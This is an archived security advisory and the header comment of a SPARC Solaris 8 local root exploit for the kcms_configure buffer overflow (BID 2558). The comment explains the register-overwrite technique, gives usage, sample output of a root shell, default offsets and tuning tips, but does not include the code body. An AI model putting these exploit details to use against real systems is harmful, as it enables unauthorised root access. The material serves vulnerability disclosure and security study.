包含在Solaris7和8版本中的kcms_configure存在漏洞。本地攻击者借助命令行参数中的缓冲区溢出获取额外的特权。

source: http://www.securityfocus.com/bid/2558/info
 
The Kodak Color Management System, or KCMS, is a package that ships with workstation installations of Solaris 7 and 8. kcms_configure, a part of KCMS, is vulnerable to a buffer overflow if it is passed an overly long string on the command-line by a local user. kcms_configure is installed setuid root, so a buffer overflow can lead to arbitrary code execution as root.
 
An exploit for x86 Solaris is available to attackers. 

/* kcms_configure -o -S command line buffer overflow, SPARC/solaris 8
 *
 * http://www.securityfocus.com/bid/2558
 *
 * Coded June 22, 2002 by Adam Slattery. Phear. The vulnerability
 * was discovered a long time ago (04/2001), but there haven't been
 * any published sparc exploits as far as I know (only x86).
 *
 * Adam Slattery <[email protected]>
 *
 * DESCRIPTION:
 *
 * The i386/solaris 8 exploit by eEye (Riley Hassell) was trivial. A
 * sparc version is somewhat more complicated, but not daunting. Because
 * of the location of the overflow in the program, quite a bit of code
 * gets executed before the second return (which is the jump to
 * shellcode in a sparc overflow). Some of this code relies on the
 * registers being set, and we're overwriting the saved registers
 * when we overflow the stack buffer. To remedy this situation we
 * need to overflow the stack very carefully because in the process
 * of overwriting the saved i7 register (return address), we overwrite
 * the l0-07 and i0-i6 [fp] registers. The code that gets executed before
 * the second return makes use of a few of these overwritten registers.
 * So... we overwrite these saved registers with a "good" address that
 * points to a pointer, so pretty much any code using values in the
 * registers won't try to access illegal memory and cause a seg fault.
 * It may sound sketchy, but it works.
 *
 * USAGE:
 *
 * gcc kcms_sparc.c -o kcms_sparc
 * ./kcms_sparc [offset] [ptr addr]
 *
 * $ ./kcms_sparc
 * ret address: 0xffbee4f8 [3036]  ptr address: 0xffbeecf8 buflen: 1085
 * # id
 * uid=0(root) gid=100(users)
 *
 *
 * The default offset (3036) should work. 4800 also works. Read the note
 * by the address calculations to see why (there are 2 buffers). Even
 * though it's a 1024 byte buffer, there aren't too many nops left in
 * the second buffer when everything is set so if you have to search
 * for the offet by hand, use increments of 64.
 * The [ptr addr] is an address in memory that points to a pointer.
 * This is loaded into some of the registers that get used before the
 * program jumps into shell code. If the default (0xffbeecf8) doesn't
 * work you, you probably won't be able to make a guess, so you'll
 * have to whip out gdb. If you don't have r00t (most likely), you'll
 * have to use a copy (non-suid) of kcms_configure and LD_PRELOAD a lib
 * to return 0 for geteuid/getegid (so it wonn't detect it's not uid 0).
 *
 *
 * Thanks: optyx, t12, worms, miah, Sun Microsystems, Kodak...

 * Langrets - thanks for making me cookies after I had surgery, which
 *    was the week before I actually released this. They tasted 31337++.
